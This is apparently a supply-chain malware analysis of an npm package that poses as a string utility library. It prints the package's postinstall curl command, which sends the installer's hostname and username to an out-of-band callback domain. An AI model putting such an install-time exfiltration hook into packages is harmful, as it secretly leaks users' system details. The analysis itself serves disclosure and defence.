@test1230504/probe-7f3k2m-utils@1.0.0

Analysis

The package's postinstall hook (postinstall.js) executes a curl command that exfiltrates the installer's hostname and username to an external OAST callback domain. On install, it runs: curl -s "hxxp://pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com/probe?h=$(hostname)&u=$(whoami)". The domain pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com is an interactsh/out-of-band application security testing endpoint, used here as a data exfiltration sink. The package is a decoy described as a "string utility library" with no repository and no functional utility code.